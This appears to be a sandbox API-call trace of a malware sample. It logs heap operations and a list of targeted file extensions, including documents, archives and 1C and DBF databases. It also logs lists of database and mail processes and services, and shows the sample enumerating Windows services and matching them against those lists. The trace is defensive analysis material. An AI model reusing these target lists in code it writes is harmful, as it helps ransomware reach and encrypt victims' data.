	[0053.774] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546998, Size=0x8) returned 0x546958
	[0053.774] lstrlenW (lpString="%windir%;") returned 9
	[0053.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1
	[0053.774] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0053.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554e48 | out: hHeap=0x4f0000) returned 1
	[0053.774] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cc40, Size=0x20) returned 0x52d4f8
	[0053.774] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d4f8, Size=0x40) returned 0x507500
	[0053.774] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x575d60
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575d60, Size=0x100) returned 0x576cf8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546898, Size=0x8) returned 0x546928
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546928, Size=0x10) returned 0x58cdd8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cdd8, Size=0x20) returned 0x52d3e0
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546948, Size=0x8) returned 0x546a18
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546918, Size=0x8) returned 0x5469c8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546988, Size=0x8) returned 0x5469d8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5469d8, Size=0x10) returned 0x58cc88
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cc88, Size=0x20) returned 0x52d4f8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546a18, Size=0x10) returned 0x58ccb8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5469c8, Size=0x10) returned 0x58cdd8
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546a38, Size=0x8) returned 0x546898
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5468b8, Size=0x8) returned 0x546928
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ccb8, Size=0x20) returned 0x52d520
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cdd8, Size=0x20) returned 0x52d2a0
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546998, Size=0x8) returned 0x5469f8
	[0053.775] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0053.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x4f0000) returned 1
	[0053.775] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cb08, Size=0x20) returned 0x52d2f0
	[0053.776] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x58ced0, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0053.776] lstrlenW (lpString="C:\\") returned 3
	[0053.776] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0053.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ced0 | out: hHeap=0x4f0000) returned 1
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5468b8, Size=0x82) returned 0x532d40
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546918, Size=0x100) returned 0x576bf0
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532d40, Size=0x104) returned 0x578278
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576bf0, Size=0x200) returned 0x578388
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532dd0, Size=0x104) returned 0x589eb8
	[0053.776] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575bc8, Size=0x100) returned 0x5766c8
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5468c8 | out: hHeap=0x4f0000) returned 1
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578388 | out: hHeap=0x4f0000) returned 1
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ce68 | out: hHeap=0x4f0000) returned 1
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575788 | out: hHeap=0x4f0000) returned 1
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ccb8 | out: hHeap=0x4f0000) returned 1
	[0053.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5751b0 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ce20 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578278 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ce98 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x589eb8 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ce38 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532e60 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58ce50 | out: hHeap=0x4f0000) returned 1
	[0053.778] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ce50, Size=0x20) returned 0x52d548
	[0053.778] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d548, Size=0x40) returned 0x5078f0
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546a38 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cb08 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cca0 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5766c8 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cb38 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5469d8 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58cb50 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062a0 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505180 | out: hHeap=0x4f0000) returned 1
	[0053.778] lstrlenW (lpString="%systemdrive%") returned 13
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2f0 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575018 | out: hHeap=0x4f0000) returned 1
	[0053.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5469e8 | out: hHeap=0x4f0000) returned 1
	[0053.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x579e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0053.779] WaitForMultipleObjects (nCount=0x2, lpHandles=0x50b5b8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0xd4c


Thread:
	id = 4
	os_tid = 0xf80

	[0055.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x58cb50
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cb50, Size=0x20) returned 0x52d548
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d548, Size=0x40) returned 0x507500
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x575238
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575238, Size=0x100) returned 0x5767d0
	[0055.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x58cb50
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58cb50, Size=0x20) returned 0x52d5c0
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d5c0, Size=0x40) returned 0x507500
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x575568
	[0055.242] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575568, Size=0x100) returned 0x5764b8
	[0055.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x58cb50
	[0055.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x546998
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x58ccb8
	[0055.243] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546998, Size=0x8) returned 0x5469a8
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505220
	[0055.243] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5469a8, Size=0x10) returned 0x58ce20
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x505140
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52d2f0
	[0055.243] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ce20, Size=0x20) returned 0x52d548
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52d570
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x505200
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52d638
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x58ce50
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x546998
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x507a10
	[0055.243] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546998, Size=0x8) returned 0x546938
	[0055.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x507668
	[0055.246] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x546938, Size=0x10) returned 0x58ce38
	[0055.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505180
	[0055.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5051c0
	[0055.247] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ce38, Size=0x20) returned 0x52d6b0
	[0055.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x5060f0
	[0055.247] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0055.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5767d0 | out: hHeap=0x4f0000) returned 1
	[0055.247] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0055.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5764b8 | out: hHeap=0x4f0000) returned 1
	[0055.247] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d390
	[0055.248] EnumServicesStatusExW (in: hSCManager=0x52d390, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0055.249] GetLastError () returned 0xea
	[0055.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1cee) returned 0x54a278
	[0055.250] EnumServicesStatusExW (in: hSCManager=0x52d390, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54a278, cbBufSize=0x1cee, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54a278, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0055.251] CloseServiceHandle (hSCObject=0x52d390) returned 1
	[0055.251] lstrlenW (lpString="Appinfo") returned 7
	[0055.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0055.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0055.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0055.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0055.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0055.251] lstrlenW (lpString="AppXSvc") returned 7
	[0055.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0055.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0055.251] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0055.251] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0055.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0055.251] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0055.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0055.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0055.252] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0055.252] lstrlenW (lpString="Audiosrv") returned 8
	[0055.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0055.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0055.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0055.252] lstrlenW (lpString="BFE") returned 3
	[0055.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0055.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0055.252] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0055.252] lstrlenW (lpString="BITS") returned 4
	[0055.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0055.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0055.252] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0055.252] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0055.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0055.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0055.252] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0055.253] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0055.253] lstrlenW (lpString="CDPSvc") returned 6
	[0055.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0055.253] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0055.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0055.253] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0055.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0055.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0055.253] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0055.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0055.253] lstrlenW (lpString="CryptSvc") returned 8
	[0055.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0055.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0055.254] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0055.254] lstrlenW (lpString="DcomLaunch") returned 10
	[0055.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0055.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0055.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0055.254] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0055.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0055.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0055.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0055.254] lstrlenW (lpString="Dhcp") returned 4
	[0055.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0055.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0055.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0055.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0055.254] lstrlenW (lpString="Dnscache") returned 8
	[0055.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0055.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0055.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0055.255] lstrlenW (lpString="DoSvc") returned 5
	[0055.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0055.255] lstrlenW (lpString="DPS") returned 3
	[0055.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0055.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0055.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0055.255] lstrlenW (lpString="DusmSvc") returned 7
	[0055.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0055.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0055.255] lstrlenW (lpString="EventLog") returned 8
	[0055.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0055.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0055.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0055.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0055.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0055.256] lstrlenW (lpString="EventSystem") returned 11
	[0055.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0055.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0055.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0055.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0055.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0055.256] lstrlenW (lpString="FontCache") returned 9
	[0055.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0055.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0055.256] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0055.257] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0055.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0055.258] lstrlenW (lpString="gpsvc") returned 5
	[0055.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0055.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0055.258] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0055.258] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0055.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0055.258] lstrlenW (lpString="iphlpsvc") returned 8
	[0055.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0055.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0055.258] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0055.258] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0055.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0055.258] lstrlenW (lpString="KeyIso") returned 6
	[0055.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0055.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0055.258] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0055.258] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0055.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0055.258] lstrlenW (lpString="LanmanServer") returned 12
	[0055.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0055.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0055.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0055.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0055.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0055.258] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0055.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0055.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0055.259] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0055.259] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0055.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0055.259] lstrlenW (lpString="lfsvc") returned 5
	[0055.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0055.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0055.259] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
